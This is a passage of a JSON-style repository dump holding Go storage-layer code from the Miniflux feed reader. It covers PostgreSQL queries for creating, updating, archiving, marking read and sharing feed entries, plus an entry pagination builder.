content.\nfunc (s *Storage) UpdateEntryTitleAndContent(entry *model.Entry) error {\n\ttruncatedTitle, truncatedContent := truncateTitleAndContentForTSVectorField(entry.Title, entry.Content)\n\tquery := `\n\t\tUPDATE\n\t\t\tentries\n\t\tSET\n\t\t\ttitle=$1,\n\t\t\tcontent=$2,\n\t\t\treading_time=$3,\n\t\t\tdocument_vectors = setweight(to_tsvector($4), 'A') || setweight(to_tsvector($5), 'B')\n\t\tWHERE\n\t\t\tid=$6 AND user_id=$7\n\t`\n\n\tif _, err := s.db.Exec(\n\t\tquery,\n\t\tentry.Title,\n\t\tentry.Content,\n\t\tentry.ReadingTime,\n\t\ttruncatedTitle,\n\t\ttruncatedContent,\n\t\tentry.ID,\n\t\tentry.UserID); err != nil {\n\t\treturn fmt.Errorf(`store: unable to update entry #%d: %v`, entry.ID, err)\n\t}\n\n\treturn nil\n}\n\n// createEntry add a new entry.\nfunc (s *Storage) createEntry(tx *sql.Tx, entry *model.Entry) error {\n\ttruncatedTitle, truncatedContent := truncateTitleAndContentForTSVectorField(entry.Title, entry.Content)\n\tquery := `\n\t\tINSERT INTO entries\n\t\t\t(\n\t\t\t\ttitle,\n\t\t\t\thash,\n\t\t\t\turl,\n\t\t\t\tcomments_url,\n\t\t\t\tpublished_at,\n\t\t\t\tcontent,\n\t\t\t\tauthor,\n\t\t\t\tuser_id,\n\t\t\t\tfeed_id,\n\t\t\t\treading_time,\n\t\t\t\tchanged_at,\n\t\t\t\tdocument_vectors,\n\t\t\t\ttags\n\t\t\t)\n\t\tVALUES\n\t\t\t(\n\t\t\t\t$1,\n\t\t\t\t$2,\n\t\t\t\t$3,\n\t\t\t\t$4,\n\t\t\t\t$5,\n\t\t\t\t$6,\n\t\t\t\t$7,\n\t\t\t\t$8,\n\t\t\t\t$9,\n\t\t\t\t$10,\n\t\t\t\tnow(),\n\t\t\t\tsetweight(to_tsvector($11), 'A') || setweight(to_tsvector($12), 'B'),\n\t\t\t\t$13\n\t\t\t)\n\t\tRETURNING\n\t\t\tid, status, created_at, changed_at\n\t`\n\terr := tx.QueryRow(\n\t\tquery,\n\t\tentry.Title,\n\t\tentry.Hash,\n\t\tentry.URL,\n\t\tentry.CommentsURL,\n\t\tentry.Date,\n\t\tentry.Content,\n\t\tentry.Author,\n\t\tentry.UserID,\n\t\tentry.FeedID,\n\t\tentry.ReadingTime,\n\t\ttruncatedTitle,\n\t\ttruncatedContent,\n\t\tpq.Array(entry.Tags),\n\t).Scan(\n\t\t&entry.ID,\n\t\t&entry.Status,\n\t\t&entry.CreatedAt,\n\t\t&entry.ChangedAt,\n\t)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to create entry %q (feed #%d): %v`, entry.URL, entry.FeedID, err)\n\t}\n\n\tfor _, enclosure := range entry.Enclosures {\n\t\tenclosure.EntryID = entry.ID\n\t\tenclosure.UserID = entry.UserID\n\t\terr := s.createEnclosure(tx, enclosure)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// updateEntry updates an entry when a feed is refreshed.\n// Note: we do not update the published date because some feeds do not contains any date,\n// it default to time.Now() which could change the order of items on the history page.\nfunc (s *Storage) updateEntry(tx *sql.Tx, entry *model.Entry) error {\n\ttruncatedTitle, truncatedContent := truncateTitleAndContentForTSVectorField(entry.Title, entry.Content)\n\tquery := `\n\t\tUPDATE\n\t\t\tentries\n\t\tSET\n\t\t\ttitle=$1,\n\t\t\turl=$2,\n\t\t\tcomments_url=$3,\n\t\t\tcontent=$4,\n\t\t\tauthor=$5,\n\t\t\treading_time=$6,\n\t\t\tdocument_vectors = setweight(to_tsvector($7), 'A') || setweight(to_tsvector($8), 'B'),\n\t\t\ttags=$12\n\t\tWHERE\n\t\t\tuser_id=$9 AND feed_id=$10 AND hash=$11\n\t\tRETURNING\n\t\t\tid\n\t`\n\terr := tx.QueryRow(\n\t\tquery,\n\t\tentry.Title,\n\t\tentry.URL,\n\t\tentry.CommentsURL,\n\t\tentry.Content,\n\t\tentry.Author,\n\t\tentry.ReadingTime,\n\t\ttruncatedTitle,\n\t\ttruncatedContent,\n\t\tentry.UserID,\n\t\tentry.FeedID,\n\t\tentry.Hash,\n\t\tpq.Array(entry.Tags),\n\t).Scan(&entry.ID)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to update entry %q: %v`, entry.URL, err)\n\t}\n\n\tfor _, enclosure := range entry.Enclosures {\n\t\tenclosure.UserID = entry.UserID\n\t\tenclosure.EntryID = entry.ID\n\t}\n\n\treturn s.updateEnclosures(tx, entry)\n}\n\n// entryExists checks if an entry already exists based on its hash when refreshing a feed.\nfunc (s *Storage) entryExists(tx *sql.Tx, entry *model.Entry) (bool, error) {\n\tvar result bool\n\n\t// Note: This query uses entries_feed_id_hash_key index (filtering on user_id is not necessary).\n\terr := tx.QueryRow(`SELECT true FROM entries WHERE feed_id=$1 AND hash=$2 LIMIT 1`, entry.FeedID, entry.Hash).Scan(&result)\n\n\tif err != nil && err != sql.ErrNoRows {\n\t\treturn result, fmt.Errorf(`store: unable to check if entry exists: %v`, err)\n\t}\n\n\treturn result, nil\n}\n\nfunc (s *Storage) getEntryIDByHash(tx *sql.Tx, feedID int64, entryHash string) (int64, error) {\n\tvar entryID int64\n\n\terr := tx.QueryRow(\n\t\t`SELECT id FROM entries WHERE feed_id=$1 AND hash=$2 LIMIT 1`,\n\t\tfeedID,\n\t\tentryHash,\n\t).Scan(&entryID)\n\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(`store: unable to fetch entry ID: %v`, err)\n\t}\n\n\treturn entryID, nil\n}\n\n// InsertEntryForFeed inserts a single entry into a feed, optionally updating if it already exists.\n// Returns true if a new entry was created, false if an existing one was reused.\nfunc (s *Storage) InsertEntryForFeed(userID, feedID int64, entry *model.Entry) (bool, error) {\n\tentry.UserID = userID\n\tentry.FeedID = feedID\n\n\ttx, err := s.db.Begin()\n\tif err != nil {\n\t\treturn false, fmt.Errorf(\"store: unable to start transaction: %v\", err)\n\t}\n\tdefer tx.Rollback()\n\n\texists, err := s.entryExists(tx, entry)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tif exists {\n\t\tentryID, err := s.getEntryIDByHash(tx, entry.FeedID, entry.Hash)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\t\tentry.ID = entryID\n\t} else {\n\t\tif err := s.createEntry(tx, entry); err != nil {\n\t\t\treturn false, err\n\t\t}\n\t}\n\n\tif err := tx.Commit(); err != nil {\n\t\treturn false, err\n\t}\n\n\treturn !exists, nil\n}\n\nfunc (s *Storage) IsNewEntry(feedID int64, entryHash string) bool {\n\tvar result bool\n\ts.db.QueryRow(`SELECT true FROM entries WHERE feed_id=$1 AND hash=$2 LIMIT 1`, feedID, entryHash).Scan(&result)\n\treturn !result\n}\n\nfunc (s *Storage) GetReadTime(feedID int64, entryHash string) int {\n\tvar result int\n\n\t// Note: This query uses entries_feed_id_hash_key index\n\ts.db.QueryRow(\n\t\t`SELECT\n\t\t\treading_time\n\t\tFROM\n\t\t\tentries\n\t\tWHERE\n\t\t\tfeed_id=$1 AND\n\t\t\thash=$2\n\t\t`,\n\t\tfeedID,\n\t\tentryHash,\n\t).Scan(&result)\n\treturn result\n}\n\n// cleanupRemovedEntriesNotInFeed deletes from the database entries marked as \"removed\" and not visible anymore in the feed.\nfunc (s *Storage) cleanupRemovedEntriesNotInFeed(feedID int64, entryHashes []string) error {\n\t// Acquire locks in id order and skip already-locked rows to avoid deadlocks with\n\t// ClearRemovedEntriesContent, which also updates removed entries concurrently.\n\tquery := `\n\t\tWITH to_delete AS (\n\t\t\tSELECT id\n\t\t\tFROM entries\n\t\t\tWHERE\n\t\t\t\tfeed_id=$1 AND\n\t\t\t\tstatus=$2 AND\n\t\t\t\tNOT (hash=ANY($3))\n\t\t\tORDER BY id\n\t\t\tFOR UPDATE SKIP LOCKED\n\t\t)\n\t\tDELETE FROM entries\n\t\tUSING to_delete\n\t\tWHERE entries.id = to_delete.id\n\t`\n\tif _, err := s.db.Exec(query, feedID, model.EntryStatusRemoved, pq.Array(entryHashes)); err != nil {\n\t\treturn fmt.Errorf(`store: unable to remove entries not in feed: %v`, err)\n\t}\n\n\treturn nil\n}\n\n// ClearRemovedEntriesContent clears the content fields of entries marked as \"removed\", keeping only their metadata.\nfunc (s *Storage) ClearRemovedEntriesContent(limit int) (int64, error) {\n\t// Skip locked rows so this batch scrubber doesn't block or deadlock with the\n\t// concurrent cleanup that deletes removed entries in the same table.\n\tquery := `\n\t\tUPDATE\n\t\t\tentries\n\t\tSET\n\t\t\ttitle='',\n\t\t\tcontent=NULL,\n\t\t\turl='',\n\t\t\tauthor=NULL,\n\t\t\tcomments_url=NULL,\n\t\t\tdocument_vectors=NULL\n\t\tWHERE id IN (\n\t\t\tSELECT id\n\t\t\tFROM entries\n\t\t\tWHERE status = $1 AND content IS NOT NULL\n\t\t\tORDER BY id ASC\n\t\t\tFOR UPDATE SKIP LOCKED\n\t\t\tLIMIT $2\n\t\t)\n\t`\n\n\tresult, err := s.db.Exec(query, model.EntryStatusRemoved, limit)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(`store: unable to clear content from removed entries: %v`, err)\n\t}\n\n\tcount, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(`store: unable to get the number of rows affected while clearing content from removed entries: %v`, err)\n\t}\n\n\treturn count, nil\n}\n\n// RefreshFeedEntries updates feed entries while refreshing a feed.\nfunc (s *Storage) RefreshFeedEntries(userID, feedID int64, entries model.Entries, updateExistingEntries bool) (newEntries model.Entries, err error) {\n\tentryHashes := make([]string, 0, len(entries))\n\n\tfor _, entry := range entries {\n\t\tentry.UserID = userID\n\t\tentry.FeedID = feedID\n\n\t\ttx, err := s.db.Begin()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(`store: unable to start transaction: %v`, err)\n\t\t}\n\n\t\tentryExists, err := s.entryExists(tx, entry)\n\t\tif err != nil {\n\t\t\tif rollbackErr := tx.Rollback(); rollbackErr != nil {\n\t\t\t\treturn nil, fmt.Errorf(`store: unable to rollback transaction: %v (rolled back due to: %v)`, rollbackErr, err)\n\t\t\t}\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif entryExists {\n\t\t\tif updateExistingEntries {\n\t\t\t\terr = s.updateEntry(tx, entry)\n\t\t\t}\n\t\t} else {\n\t\t\terr = s.createEntry(tx, entry)\n\t\t\tif err == nil {\n\t\t\t\tnewEntries = append(newEntries, entry)\n\t\t\t}\n\t\t}\n\n\t\tif err != nil {\n\t\t\tif rollbackErr := tx.Rollback(); rollbackErr != nil {\n\t\t\t\treturn nil, fmt.Errorf(`store: unable to rollback transaction: %v (rolled back due to: %v)`, rollbackErr, err)\n\t\t\t}\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif err := tx.Commit(); err != nil {\n\t\t\treturn nil, fmt.Errorf(`store: unable to commit transaction: %v`, err)\n\t\t}\n\n\t\tentryHashes = append(entryHashes, entry.Hash)\n\t}\n\n\tgo func() {\n\t\tif err := s.cleanupRemovedEntriesNotInFeed(feedID, entryHashes); err != nil {\n\t\t\tslog.Error(\"Unable to cleanup removed entries\",\n\t\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\t\tslog.Int64(\"feed_id\", feedID),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}()\n\n\treturn newEntries, nil\n}\n\n// ArchiveEntries changes the status of entries to \"removed\" after the interval (24h minimum).\nfunc (s *Storage) ArchiveEntries(status string, interval time.Duration, limit int) (int64, error) {\n\tif interval < 0 || limit <= 0 {\n\t\treturn 0, nil\n\t}\n\n\tquery := `\n\t\tUPDATE\n\t\t\tentries\n\t\tSET\n\t\t\tstatus=$1\n\t\tWHERE\n\t\t\tid IN (\n\t\t\t\tSELECT\n\t\t\t\t\tid\n\t\t\t\tFROM\n\t\t\t\t\tentries\n\t\t\t\tWHERE\n\t\t\t\t\tstatus=$2 AND\n\t\t\t\t\tstarred is false AND\n\t\t\t\t\tshare_code='' AND\n\t\t\t\t\tcreated_at < now () - $3::interval\n\t\t\t\tORDER BY\n\t\t\t\t\tcreated_at ASC LIMIT $4\n\t\t\t\t)\n\t`\n\n\tdays := max(int(interval/(24*time.Hour)), 1)\n\n\tresult, err := s.db.Exec(query, model.EntryStatusRemoved, status, fmt.Sprintf(\"%d days\", days), limit)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(`store: unable to archive %s entries: %v`, status, err)\n\t}\n\n\tcount, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(`store: unable to get the number of rows affected: %v`, err)\n\t}\n\n\treturn count, nil\n}\n\n// SetEntriesStatus update the status of the given list of entries.\nfunc (s *Storage) SetEntriesStatus(userID int64, entryIDs []int64, status string) error {\n\t// Entries that have the model.EntryStatusRemoved status are immutable.\n\tquery := `\n\t\tUPDATE\n\t\t\tentries\n\t\tSET\n\t\t\tstatus=$1,\n\t\t\tchanged_at=now()\n\t\tWHERE\n\t\t\tuser_id=$2 AND\n\t\t\tid=ANY($3) AND\n\t\t\tstatus!=$4\n\t\t`\n\tif _, err := s.db.Exec(query, status, userID, pq.Array(entryIDs), model.EntryStatusRemoved); err != nil {\n\t\treturn fmt.Errorf(`store: unable to update entries statuses %v: %v`, entryIDs, err)\n\t}\n\n\treturn nil\n}\n\nfunc (s *Storage) SetEntriesStatusCount(userID int64, entryIDs []int64, status string) (int, error) {\n\tif err := s.SetEntriesStatus(userID, entryIDs, status); err != nil {\n\t\treturn 0, err\n\t}\n\n\tquery := `\n\t\tSELECT count(*)\n\t\tFROM entries e\n\t\t    JOIN feeds f ON (f.id = e.feed_id)\n\t\t    JOIN categories c ON (c.id = f.category_id)\n\t\tWHERE e.user_id = $1\n\t\t\tAND e.id = ANY($2)\n\t\t\tAND NOT f.hide_globally\n\t\t\tAND NOT c.hide_globally\n\t`\n\trow := s.db.QueryRow(query, userID, pq.Array(entryIDs))\n\tvisible := 0\n\tif err := row.Scan(&visible); err != nil {\n\t\treturn 0, fmt.Errorf(`store: unable to query entries visibility %v: %v`, entryIDs, err)\n\t}\n\n\treturn visible, nil\n}\n\n// SetEntriesStarredState updates the starred state for the given list of entries.\nfunc (s *Storage) SetEntriesStarredState(userID int64, entryIDs []int64, starred bool) error {\n\tquery := `UPDATE entries SET starred=$1, changed_at=now() WHERE user_id=$2 AND id=ANY($3)`\n\tresult, err := s.db.Exec(query, starred, userID, pq.Array(entryIDs))\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to update the starred state %v: %v`, entryIDs, err)\n\t}\n\n\tcount, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to update these entries %v: %v`, entryIDs, err)\n\t}\n\n\tif count == 0 {\n\t\treturn errors.New(`store: nothing has been updated`)\n\t}\n\n\treturn nil\n}\n\n// ToggleStarred toggles entry starred value.\nfunc (s *Storage) ToggleStarred(userID int64, entryID int64) error {\n\tquery := `UPDATE entries SET starred = NOT starred, changed_at=now() WHERE user_id=$1 AND id=$2`\n\tresult, err := s.db.Exec(query, userID, entryID)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to toggle starred flag for entry #%d: %v`, entryID, err)\n\t}\n\n\tcount, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to toggle starred flag for entry #%d: %v`, entryID, err)\n\t}\n\n\tif count == 0 {\n\t\treturn errors.New(`store: nothing has been updated`)\n\t}\n\n\treturn nil\n}\n\n// FlushHistory changes all entries with the status \"read\" to \"removed\".\nfunc (s *Storage) FlushHistory(userID int64) error {\n\tquery := `\n\t\tUPDATE\n\t\t\tentries\n\t\tSET\n\t\t\tstatus=$1,\n\t\t\tchanged_at=now()\n\t\tWHERE\n\t\t\tuser_id=$2 AND status=$3 AND starred is false AND share_code=''\n\t`\n\t_, err := s.db.Exec(query, model.EntryStatusRemoved, userID, model.EntryStatusRead)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to flush history: %v`, err)\n\t}\n\n\treturn nil\n}\n\n// MarkAllAsRead updates all user entries to the read status.\nfunc (s *Storage) MarkAllAsRead(userID int64) error {\n\tquery := `UPDATE entries SET status=$1, changed_at=now() WHERE user_id=$2 AND status=$3`\n\tresult, err := s.db.Exec(query, model.EntryStatusRead, userID, model.EntryStatusUnread)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to mark all entries as read: %v`, err)\n\t}\n\n\tcount, _ := result.RowsAffected()\n\tslog.Debug(\"Marked all entries as read\",\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.Int64(\"nb_entries\", count),\n\t)\n\n\treturn nil\n}\n\n// MarkAllAsReadBeforeDate updates all user entries to the read status before the given date.\nfunc (s *Storage) MarkAllAsReadBeforeDate(userID int64, before time.Time) error {\n\tquery := `\n\t\tUPDATE\n\t\t\tentries\n\t\tSET\n\t\t\tstatus=$1,\n\t\t\tchanged_at=now()\n\t\tWHERE\n\t\t\tuser_id=$2 AND status=$3 AND published_at < $4\n\t`\n\tresult, err := s.db.Exec(query, model.EntryStatusRead, userID, model.EntryStatusUnread, before)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to mark all entries as read before %s: %v`, before.Format(time.RFC3339), err)\n\t}\n\tcount, _ := result.RowsAffected()\n\tslog.Debug(\"Marked all entries as read before date\",\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.Int64(\"nb_entries\", count),\n\t\tslog.String(\"before\", before.Format(time.RFC3339)),\n\t)\n\treturn nil\n}\n\n// MarkGloballyVisibleFeedsAsRead updates all user entries to the read status.\nfunc (s *Storage) MarkGloballyVisibleFeedsAsRead(userID int64) error {\n\tquery := `\n\t\tUPDATE\n\t\t\tentries\n\t\tSET\n\t\t\tstatus=$1,\n\t\t\tchanged_at=now()\n\t\tFROM\n\t\t\tfeeds\n\t\tWHERE\n\t\t\tentries.feed_id = feeds.id\n\t\t\tAND entries.user_id=$2\n\t\t\tAND entries.status=$3\n\t\t\tAND feeds.hide_globally=$4\n\t`\n\tresult, err := s.db.Exec(query, model.EntryStatusRead, userID, model.EntryStatusUnread, false)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to mark globally visible feeds as read: %v`, err)\n\t}\n\n\tcount, _ := result.RowsAffected()\n\tslog.Debug(\"Marked globally visible feed entries as read\",\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.Int64(\"nb_entries\", count),\n\t)\n\n\treturn nil\n}\n\n// MarkFeedAsRead updates all feed entries to the read status.\nfunc (s *Storage) MarkFeedAsRead(userID, feedID int64, before time.Time) error {\n\tquery := `\n\t\tUPDATE\n\t\t\tentries\n\t\tSET\n\t\t\tstatus=$1,\n\t\t\tchanged_at=now()\n\t\tWHERE\n\t\t\tuser_id=$2 AND feed_id=$3 AND status=$4 AND published_at < $5\n\t`\n\tresult, err := s.db.Exec(query, model.EntryStatusRead, userID, feedID, model.EntryStatusUnread, before)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to mark feed entries as read: %v`, err)\n\t}\n\n\tcount, _ := result.RowsAffected()\n\tslog.Debug(\"Marked feed entries as read\",\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.Int64(\"feed_id\", feedID),\n\t\tslog.Int64(\"nb_entries\", count),\n\t\tslog.String(\"before\", before.Format(time.RFC3339)),\n\t)\n\n\treturn nil\n}\n\n// MarkCategoryAsRead updates all category entries to the read status.\nfunc (s *Storage) MarkCategoryAsRead(userID, categoryID int64, before time.Time) error {\n\tquery := `\n\t\tUPDATE\n\t\t\tentries\n\t\tSET\n\t\t\tstatus=$1,\n\t\t\tchanged_at=now()\n\t\tFROM\n\t\t\tfeeds\n\t\tWHERE\n\t\t\tfeed_id=feeds.id\n\t\tAND\n\t\t\tfeeds.user_id=$2\n\t\tAND\n\t\t\tstatus=$3\n\t\tAND\n\t\t\tpublished_at < $4\n\t\tAND\n\t\t\tfeeds.category_id=$5\n\t`\n\tresult, err := s.db.Exec(query, model.EntryStatusRead, userID, model.EntryStatusUnread, before, categoryID)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to mark category entries as read: %v`, err)\n\t}\n\n\tcount, _ := result.RowsAffected()\n\tslog.Debug(\"Marked category entries as read\",\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.Int64(\"category_id\", categoryID),\n\t\tslog.Int64(\"nb_entries\", count),\n\t\tslog.String(\"before\", before.Format(time.RFC3339)),\n\t)\n\n\treturn nil\n}\n\n// EntryShareCode returns the share code of the provided entry.\n// It generates a new one if not already defined.\nfunc (s *Storage) EntryShareCode(userID int64, entryID int64) (shareCode string, err error) {\n\tquery := `SELECT share_code FROM entries WHERE user_id=$1 AND id=$2`\n\terr = s.db.QueryRow(query, userID, entryID).Scan(&shareCode)\n\tif err != nil {\n\t\terr = fmt.Errorf(`store: unable to get share code for entry #%d: %v`, entryID, err)\n\t\treturn\n\t}\n\n\tif shareCode == \"\" {\n\t\tshareCode = crypto.GenerateRandomStringHex(20)\n\n\t\tquery = `UPDATE entries SET share_code = $1 WHERE user_id=$2 AND id=$3`\n\t\t_, err = s.db.Exec(query, shareCode, userID, entryID)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(`store: unable to set share code for entry #%d: %v`, entryID, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\treturn\n}\n\n// UnshareEntry removes the share code for the given entry.\nfunc (s *Storage) UnshareEntry(userID int64, entryID int64) (err error) {\n\tquery := `UPDATE entries SET share_code='' WHERE user_id=$1 AND id=$2`\n\t_, err = s.db.Exec(query, userID, entryID)\n\tif err != nil {\n\t\terr = fmt.Errorf(`store: unable to remove share code for entry #%d: %v`, entryID, err)\n\t}\n\treturn\n}\n\nfunc truncateTitleAndContentForTSVectorField(title, content string) (string, string) {\n\t// The length of a tsvector (lexemes + positions) must be less than 1 megabyte.\n\t// We don't need to index the entire content, and we need to keep a buffer for the positions.\n\treturn truncateStringForTSVectorField(title, 200000), truncateStringForTSVectorField(content, 500000)\n}\n\n// truncateStringForTSVectorField truncates a string and don't break UTF-8 characters.\nfunc truncateStringForTSVectorField(s string, maxSize int) string {\n\tif len(s) < maxSize {\n\t\treturn s\n\t}\n\n\t// Truncate to fit under the limit, ensuring we don't break UTF-8 characters\n\ttruncated := s[:maxSize-1]\n\n\t// Walk backwards to find the last complete UTF-8 character\n\tfor i := len(truncated) - 1; i >= 0; i-- {\n\t\tif (truncated[i] & 0x80) == 0 {\n\t\t\t// ASCII character, we can stop here\n\t\t\treturn truncated[:i+1]\n\t\t}\n\t\tif (truncated[i] & 0xC0) == 0xC0 {\n\t\t\t// Start of a multi-byte UTF-8 character\n\t\t\treturn truncated[:i]\n\t\t}\n\t}\n\n\t// Fallback: return empty string if we can't find a valid UTF-8 boundary\n\treturn \"\"\n}\n"
  },
  {
    "path": "internal/storage/entry_pagination_builder.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage storage // import \"miniflux.app/v2/internal/storage\"\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// entryPaginationBuilder is a builder for entry prev/next queries.\ntype entryPaginationBuilder struct {\n\tstore      *Storage\n\tconditions []string\n\targs       []any\n\tentryID    int64\n\torder      string\n\tdirection  string\n}\n\n// WithSearchQuery adds full-text search query to the condition.\nfunc (e *entryPaginationBuilder) WithSearchQuery(query string) {\n\tif query != \"\" {\n\t\te.conditions = append(e.conditions, fmt.Sprintf(\"e.document_vectors @@ plainto_tsquery($%d)\", len(e.args)+1))\n\t\te.args = append(e.args, query)\n\t}\n}\n\n// WithStarred adds starred to the condition.\nfunc (e *entryPaginationBuilder) WithStarred() {\n\te.conditions = append(e.conditions, \"e.starred is true\")\n}\n\n// WithFeedID adds feed_id to the condition.\nfunc (e *entryPaginationBuilder) WithFeedID(feedID int64) {\n\tif feedID != 0 {\n\t\te.conditions = append(e.conditions, \"e.feed_id = $\"+strconv.Itoa(len(e.args)+1))\n\t\te.args = append(e.args, feedID)\n\t}\n}\n\n// WithCategoryID adds category_id to the condition.\nfunc (e *entryPaginationBuilder) WithCategoryID(categoryID int64) {\n\tif categoryID != 0 {\n\t\te.conditions = append(e.conditions, \"f.category_id = $\"+strconv.Itoa(len(e.args)+1))\n\t\te.args = append(e.args, categoryID)\n\t}\n}\n\n// WithStatus adds status to the condition.\nfunc (e *entryPaginationBuilder) WithStatus(status string) {\n\tif status != \"\" {\n\t\te.conditions = append(e.conditions, \"e.status = $\"+strconv.Itoa(len(e.args)+1))\n\t\te.args = append(e.args, status)\n\t}\n}\n\n// WithStatusOrEntryID adds a status condition that always includes a specific entry ID.\nfunc (e *entryPaginationBuilder) WithStatusOrEntryID(status string, entryID int64) {\n\tif status == \"\" {\n\t\treturn\n\t}\n\n\tif entryID == 0 {\n\t\te.WithStatus(status)\n\t\treturn\n\t}\n\n\tstatusArg := len(e.args) + 1\n\tentryArg := len(e.args) + 2\n\te.conditions = append(e.conditions, fmt.Sprintf(\"(e.status = $%d OR e.id = $%d)\", statusArg, entryArg))\n\te.args = append(e.args, status, entryID)\n}\n\nfunc (e *entryPaginationBuilder) WithTags(tags []string) {\n\tif len(tags) > 0 {\n\t\tfor _, tag := range tags {\n\t\t\te.conditions = append(e.conditions, fmt.Sprintf(\"LOWER($%d) = ANY(LOWER(e.tags::text)::text[])\", len(e.args)+1))\n\t\t\te.args = append(e.args, tag)\n\t\t}\n\t}\n}\n\n// WithGloballyVisible adds global visibility to the condition.\nfunc (e *entryPaginationBuilder) WithGloballyVisible() {\n\te.conditions = append(e.conditions, \"not c.hide_globally\")\n\te.conditions = append(e.conditions, \"not f.hide_globally\")\n}\n\n// Entries returns previous and next entries.\nfunc (e *entryPaginationBuilder) Entries() (*model.Entry, *model.Entry, error) {\n\ttx, err := e.store.db.Begin()\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"begin transaction for entry pagination: %v\", err)\n\t}\n\n\tprevID, nextID, err := e.getPrevNextID(tx)\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn nil, nil, err\n\t}\n\n\tprevEntry, err := e.getEntry(tx, prevID)\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn nil, nil, err\n\t}\n\n\tnextEntry, err := e.getEntry(tx, nextID)\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn nil, nil, err\n\t}\n\n\ttx.Commit()\n\n\tif e.direction == \"desc\" {\n\t\treturn nextEntry, prevEntry, nil\n\t}\n\n\treturn prevEntry, nextEntry, nil\n}\n\nfunc (e *entryPaginationBuilder) getPrevNextID(tx *sql.Tx) (prevID int64, nextID int64, err error) {\n\tcte := `\n\t\tWITH entry_pagination AS (\n\t\t\tSELECT\n\t\t\t\te.id,\n\t\t\t\tlag(e.id) over (order by e.%[1]s asc, e.created_at asc, e.id desc) as prev_id,\n\t\t\t\tlead(e.id) over (order by e.%[1]s asc, e.created_at asc, e.id desc) as next_id\n\t\t\tFROM entries AS e\n\t\t\tJOIN feeds AS f ON f.id=e.feed_id\n\t\t\tJOIN categories c ON c.id = f.category_id\n\t\t\tWHERE %[2]s\n\t\t\tORDER BY e.%[1]s asc, e.created_at asc, e.id desc\n\t\t)\n\t\tSELECT prev_id, next_id FROM entry_pagination AS ep WHERE %[3]s;\n\t`\n\n\tsubCondition := strings.Join(e.conditions, \" AND \")\n\tfinalCondition := \"ep.id = $\" + strconv.Itoa(len(e.args)+1)\n\tquery := fmt.Sprintf(cte, e.order, subCondition, finalCondition)\n\te.args = append(e.args, e.entryID)\n\n\tvar pID, nID sql.NullInt64\n\terr = tx.QueryRow(query, e.args...).Scan(&pID, &nID)\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\treturn 0, 0, nil\n\tcase err != nil:\n\t\treturn 0, 0, fmt.Errorf(\"entry pagination: %v\", err)\n\t}\n\n\tif pID.Valid {\n\t\tprevID = pID.Int64\n\t}\n\n\tif nID.Valid {\n\t\tnextID = nID.Int64\n\t}\n\n\treturn prevID, nextID, nil\n}\n\nfunc (e *entryPaginationBuilder) getEntry(tx *sql.Tx, entryID int64) (*model.Entry, error) {\n\tvar entry model.Entry\n\n\terr := tx.QueryRow(`SELECT id, title FROM entries WHERE id = $1`, entryID).Scan(\n\t\t&entry.ID,\n\t\t&entry.Title,\n\t)\n\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\treturn nil, nil\n\tcase err != nil:\n\t\treturn nil, fmt.Errorf(\"fetching sibling entry: %v\", err)\n\t}\n\n\treturn &entry, nil\n}\n\n// NewEntryPaginationBuilder returns a new EntryPaginationBuilder.\nfunc NewEntryPaginationBuilder(store *Storage, userID, entryID int64, order, direction string) *entryPaginationBuilder {\n\treturn &entryPaginationBuilder{\n\t\tstore:      store,\n\t\targs:       []any{userID, \"removed\"},\n\t\tconditions: []string{\"e.user_id = $1\", \"e.status <> $2\"},\n\t\tentryID:    entryID,\n\t\torder:      order,\n\t\tdirection:  direction,\n\t}\n}\n"
  },
  {
    "path": "internal/storage/entry_query_builder.go",
